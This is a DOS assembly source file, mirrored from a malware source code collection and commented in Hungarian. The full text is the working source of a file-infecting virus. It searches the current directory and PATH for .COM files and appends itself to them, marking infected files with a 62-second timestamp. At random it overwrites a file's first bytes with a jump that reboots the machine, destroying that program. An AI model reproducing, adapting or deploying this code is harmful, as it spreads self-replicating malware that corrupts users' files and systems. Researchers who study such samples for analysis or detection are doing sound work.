mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-18 17:36:11 +00:00
230 lines
6.8 KiB
NASM
230 lines
6.8 KiB
NASM
PAGE ,132
|
|
VIRUS SEGMENT PARA PUBLIC 'CODE'
|
|
ASSUME CS:VIRUS,DS:VIRUS
|
|
|
|
HOSSZ EQU VEG-KEZDET
|
|
KEZDET EQU $
|
|
|
|
INDIT: PUSH CX
|
|
TBLC: MOV DX,OFFSET TABL
|
|
CLD ; SZTRINGMUVELETEK NOVEKVO IRANYBA
|
|
MOV SI,DX ; SI TARTALMAZZA A TABLAZAT KEZDOCIMET
|
|
ADD SI,OFFSET FILKEZ-TABL
|
|
MOV DI,100H ; AZ ELSO HAROM BYTE VISSZAALLITASA
|
|
MOV CX,3
|
|
REPZ MOVSB
|
|
MOV SI,DX ; SI-BE ISMET A TABLAZAT KEZDOCIME
|
|
MOV AH,30H ; A DOS VERZIOSZAM LEKERDEZESE
|
|
INT 21H
|
|
CMP AL,0 ; MEG AZ 1.X VERZIO?
|
|
JNZ IND1 ; NEM
|
|
JMP IND2 ; IGEN, A VIRUS NEM TUD TERJEDNI
|
|
IND1: PUSH ES ; ES ELMENTESE
|
|
MOV AH,2FH ; A DTA CIMENEK LEKERDEZESE
|
|
INT 21H ; ES ELTAROLASA A TABLAZATBAN
|
|
MOV WORD PTR [SI+DTACIM-TABL],BX
|
|
MOV WORD PTR [SI+DTACIM-TABL+2],ES
|
|
POP ES ; ES VISSZAOLVASASA
|
|
MOV DX,UJDTA-TABL
|
|
ADD DX,SI ; A DTA UJ CIMENEK BEALLITASA
|
|
MOV AH,1AH
|
|
INT 21H
|
|
PUSH ES ; REGISZTEREK ELMENTESE
|
|
PUSH SI
|
|
MOV ES,DS:2CH ; A DOS KORNYEZET CIME
|
|
MOV DI,0 ; ELEJETOL
|
|
IND3: POP SI ; SI VISSZAOLVASASA
|
|
PUSH SI ; ES VISSZAIRASA
|
|
ADD SI,OFFSET SZOVEG-TABL
|
|
LODSB ; EGY KARAKTER BETOLTESE
|
|
MOV CX,8000H ; A KORNYEZET MAX. 32K
|
|
REPNZ SCASB ; AZ ELSO KARAKTER KERESESE
|
|
MOV CX,OFFSET FSPEC-SZOVEG-1
|
|
IND4: LODSB ; A KOVETKEZO KARAKTER BEOLVASASA
|
|
SCASB ; ES ELLENORZESE
|
|
JNZ IND3 ; NEM EGYEZIK
|
|
LOOP IND4 ; FOLYTATNI
|
|
POP SI ; A REGISZTEREK VISSZAALLITASA
|
|
POP ES
|
|
MOV [SI+UTCIM-TABL],DI
|
|
MOV DI,SI ; DI-BE A TABLAZAT KEZDOCIME
|
|
ADD DI,OFFSET FSPEC-TABL
|
|
MOV BX,SI ; SI ELMENTESE BX-BE
|
|
ADD SI,OFFSET FSPEC-TABL
|
|
MOV DI,SI
|
|
JMP SHORT IND5 ; KERESES ELOSZOR AZ AKTUALIS ALKONYVTARBAN
|
|
INDE: CMP WORD PTR [SI+UTCIM-TABL],0
|
|
JNZ IND6 ; VAN MEG TOBB UT
|
|
JMP IND7 ; MINDEN LEHETSEGES FILE FERTOZOTT
|
|
IND6: PUSH DS ; A REGISZTEREK ELMENTESE
|
|
PUSH SI
|
|
MOV DS,ES:2CH ; DS-BE A DOS KORNYEZET SZEGMENSE
|
|
MOV DI,SI ; DI A TABLAZATRA MUTAT
|
|
MOV SI,WORD PTR ES:[DI+UTCIM-TABL]
|
|
ADD DI,OFFSET FSPEC-TABL
|
|
IND8: LODSB ; EGY KARAKTER BETOLTESE
|
|
CMP AL,3BH ; ';' AZ UTAKAT VALASZTJA EL
|
|
JZ IND9 ; ANNAK A KODJA
|
|
CMP AL,0 ; A LEZARO NULLA?
|
|
JZ INDA ; AZ A KOD
|
|
STOSB ; ELTAROLAS
|
|
JMP SHORT IND8 ; FOLYTATNI
|
|
INDA: MOV SI,0 ; TOBB UT NEM LETEZIK
|
|
IND9: POP BX ; BX A TABLAZAT KEZDOCIME
|
|
POP DS ; DS VISSZAALLITASA
|
|
MOV [BX+UTCIM-TABL],SI
|
|
CMP BYTE PTR [DI-1],5CH ; A FILE SPECIFIKACIO '\' LETT LEZARVA?
|
|
JZ IND5 ; IGEN
|
|
MOV AL,5CH ; A '\' KODJA
|
|
STOSB ; ELTAROLASA
|
|
IND5: MOV [BX+FAKT-TABL],DI
|
|
MOV SI,BX ; A TABLAZAT KEZDOCIME BX
|
|
ADD SI,OFFSET FKER-TABL ; KERESO NEV
|
|
MOV CX,OFFSET UTCIM-FKER
|
|
REPZ MOVSB ; ATMASOLASA A FILE SPECIFIKACIOBA
|
|
MOV SI,BX ; SI A TABLAZAT KEZDOCIME
|
|
MOV AH,4EH ; FILE KERESESE
|
|
MOV DX,FSPEC-TABL
|
|
ADD DX,SI ; A FILE SPECIFIKACIO CIME
|
|
MOV CX,11B ; A KERESETT ATTRIBUTUM
|
|
INT 21H
|
|
JMP SHORT INDC ; A KOVETKEZO RESZT ATUGRANI
|
|
INDF: MOV AH,4FH ; A KOVETKEZO FILENEV KERESESE
|
|
INT 21H
|
|
INDC: JNC INDD ; MEGTALALTUK
|
|
JMP INDE ; NINCS ITT TOBB HASONLO
|
|
INDD: MOV AX,[SI+UJDTA-TABL+22]
|
|
AND AL,11111B ; A LETREHOZAS IDEJENEK MASZKOLJUK A MASODPERCEIT
|
|
CMP AL,11111B ; 62 MASODPERC? /FERTOZEST EZZEL JELZI/
|
|
JZ INDF ; IGEN, TOVABB KELL KERESNI
|
|
CMP WORD PTR [SI+UJDTA-TABL+26],0FA00H
|
|
JA INDF ; TUL NAGY FILE, NEM FERTOZHETO
|
|
CMP WORD PTR [SI+UJDTA-TABL+26],0AH
|
|
JB INDF ; TUL KICSI FILE
|
|
MOV DI,[SI+FAKT-TABL]
|
|
PUSH SI ; A TABLAZAT KEZDOCIMENEK ELMENTESE
|
|
ADD SI,OFFSET UJDTA-TABL+30
|
|
INDG: LODSB ; A FILENEV ATMASOLASA A FILE SPECIFIKACIOBA
|
|
STOSB
|
|
CMP AL,0 ; A NEV ZARO NULLA?
|
|
JNZ INDG ; NEM, FOLYTATNI
|
|
POP SI ; A TABLAZAT KEZDOCIMENEK VISSZAALLITASA
|
|
MOV AX,4300H ; A FILE ATTRIBUTUM BEOLVASASA
|
|
MOV DX,FSPEC-TABL
|
|
ADD DX,SI ; A FILE SPECIFIKACIO CIME
|
|
INT 21H
|
|
MOV [SI+FILATT-TABL],CX
|
|
MOV AX,4301H ; A FILE ATTRIBUTUM BEALLITASA
|
|
DB 81H,0E1H,0FEH,0FFH ; AZ R/O BIT TORLESE
|
|
MOV DX,FSPEC-TABL
|
|
ADD DX,SI ; A FILE SPECIFIKACIO CIME
|
|
INT 21H
|
|
MOV AX,3D02H ; A FILE MEGNYITASA IRASRA & OLVASASRA
|
|
MOV DX,FSPEC-TABL
|
|
ADD DX,SI ; A FILE SPECIFIKACIO CIME
|
|
INT 21H
|
|
JNC INDH ; NINCS HIBA
|
|
JMP INDK ; HIBA TORTENT
|
|
INDH: MOV BX,AX ; A FILESZAM ATVITELE
|
|
MOV AX,5700H ; A KELETKEZESI IDO BEOLVASASA
|
|
INT 21H ; ES BEALLITASA
|
|
MOV [SI+FILIDO-TABL],CX
|
|
MOV [SI+FILDAT-TABL],DX
|
|
MOV AH,2CH ; A RENDSZERIDO BEOLVASASA
|
|
INT 21H
|
|
AND DH,111B ; A MASODPERCEK OSZTHATOK NYOLCCAL?
|
|
JNZ INDI ; NEM, A FILE-T CSAK MEGFEROZZUK
|
|
MOV AH,40H ; EZT A FILE-T MOST MEGGYILKOLJUK /HAHAHA/
|
|
MOV CX,5 ; A JMP FAR F000:FFF0 5 BYTE HOSSZU
|
|
MOV DX,SI ; DX A TABLAZAT KEZDETERE MUTAT
|
|
ADD DX,OFFSET RESET-TABL
|
|
INT 21H ; A FILE ELSO 5 BYTEJANAK ATALLITASA RESET-RE
|
|
JMP INDJ ; ENNEK MAR BEVEGEZTETETT
|
|
INDI: MOV AH,3FH ; OLVASAS A FILEBOL
|
|
MOV CX,3 ; AZ ELSO HAROM BYTE
|
|
MOV DX,FILKEZ-TABL ; A MEGFELELO CIMRE
|
|
ADD DX,SI
|
|
INT 21H ; BEOLVASNI
|
|
JC INDJ ; HIBA TORTENT
|
|
CMP AX,3 ; MIND A HAROM BYTEOT BEOLVASTA?
|
|
JNZ INDJ ; NEM, HIBA VOLT
|
|
MOV AX,4202H ; MUTATO A FILE VEGERE
|
|
MOV CX,0
|
|
MOV DX,0
|
|
INT 21H
|
|
JC INDJ ; TORTENT HIBA?
|
|
MOV CX,AX ; A FILE HOSSZA
|
|
SUB AX,3 ; MINUSZ 3, EZ LESZ AZ UJ INDITASI CIM
|
|
MOV [SI+UJKEZ-TABL+1],AX
|
|
ADD CX,OFFSET TABL+100H ; A TABLAZAT KEZDOCIME AZ UJ VIRUSBAN
|
|
MOV DI,SI ; A TABLAZAT KEZDETE
|
|
SUB DI,OFFSET TABL-TBLC-1
|
|
MOV [DI],CX ; A MOV DX, UTASITAS PARAMETERE
|
|
MOV AH,40H ; KIIRAS A FILE-BA
|
|
MOV CX,OFFSET HOSSZ ; A VIRUS HOSSZA
|
|
MOV DX,SI ; A TABLAZAT KEZDOCIME
|
|
SUB DX,OFFSET TABL ; MINUSZ A VIRUSTORZS HOSSZA
|
|
INT 21H ; KIIRAS
|
|
JC INDJ ; HIBA TORTENT
|
|
CMP AX,OFFSET HOSSZ ; MINDEN BYTEOT KIIRT?
|
|
JNZ INDJ ; NEM
|
|
MOV AX,4200H ; MUTATO A FILE ELEJERE
|
|
MOV CX,0
|
|
MOV DX,0
|
|
INT 21H
|
|
JC INDJ ; HIBA TORTENT?
|
|
MOV AH,40H ; KIIRAS A FILE-BA
|
|
MOV CX,3 ; AZ ELSO 3 BYTE KIIRASA
|
|
MOV DX,SI
|
|
ADD DX,OFFSET UJKEZ-TABL
|
|
INT 21H ; KIIRAS
|
|
INDJ: MOV DX,[SI+FILDAT-TABL]
|
|
MOV CX,[SI+FILIDO-TABL]
|
|
DB 81H,0E1H,0E0H,0FFH ; AND CX,0FFE0H
|
|
OR CX,OFFSET 11111B ; AZ IDO 62 MASODPERC
|
|
MOV AX,5701H ; A KELETKEZESI DATUM ES IDO VISSZAIRASA
|
|
INT 21H ; ES A FERTOZES JELZESE
|
|
MOV AH,3EH ; FILE LEZARASA
|
|
INT 21H
|
|
INDK: MOV AX,4301H ; A REGI ATTRIBUTUM VISSZAALLITASA
|
|
MOV CX,[SI+FILATT-TABL]
|
|
MOV DX,FSPEC-TABL
|
|
ADD DX,SI ; A FILE SPECIFIKACIO CIME
|
|
INT 21H
|
|
IND7: PUSH DS ; DS ELMENTESE
|
|
MOV AH,1AH ; A DTA REGI CIMENEK BEALLITASA
|
|
MOV DX,WORD PTR [SI+DTACIM-TABL]
|
|
MOV DS,WORD PTR [SI+DTACIM-TABL+2]
|
|
INT 21H
|
|
POP DS ; DS VISSZAALLITASA
|
|
IND2: POP CX
|
|
XOR AX,AX ; AX=0
|
|
XOR BX,BX ; BX=0
|
|
XOR DX,DX ; DX=0
|
|
XOR SI,SI ; SI=0
|
|
MOV DI,100H ; 100H A VEREMBE
|
|
PUSH DI
|
|
XOR DI,DI ; DI=0
|
|
RET 0FFFFH
|
|
|
|
TABL EQU $
|
|
|
|
DTACIM DD 0
|
|
FILIDO DW 0
|
|
FILDAT DW 0
|
|
FILATT DW 0
|
|
FILKEZ DB 0,0,0
|
|
UJKEZ DB 0,0,0
|
|
FKER DB '*.COM',0
|
|
UTCIM DW 0
|
|
FAKT DW 0
|
|
SZOVEG DB 'PATH='
|
|
FSPEC DB 40H DUP(' ')
|
|
UJDTA DB 2BH DUP(0)
|
|
RESET DB 0EAH,0F0H,0FFH,0,0F0H
|
|
|
|
VEG EQU $
|
|
|
|
VIRUS ENDS
|
|
|
|
END |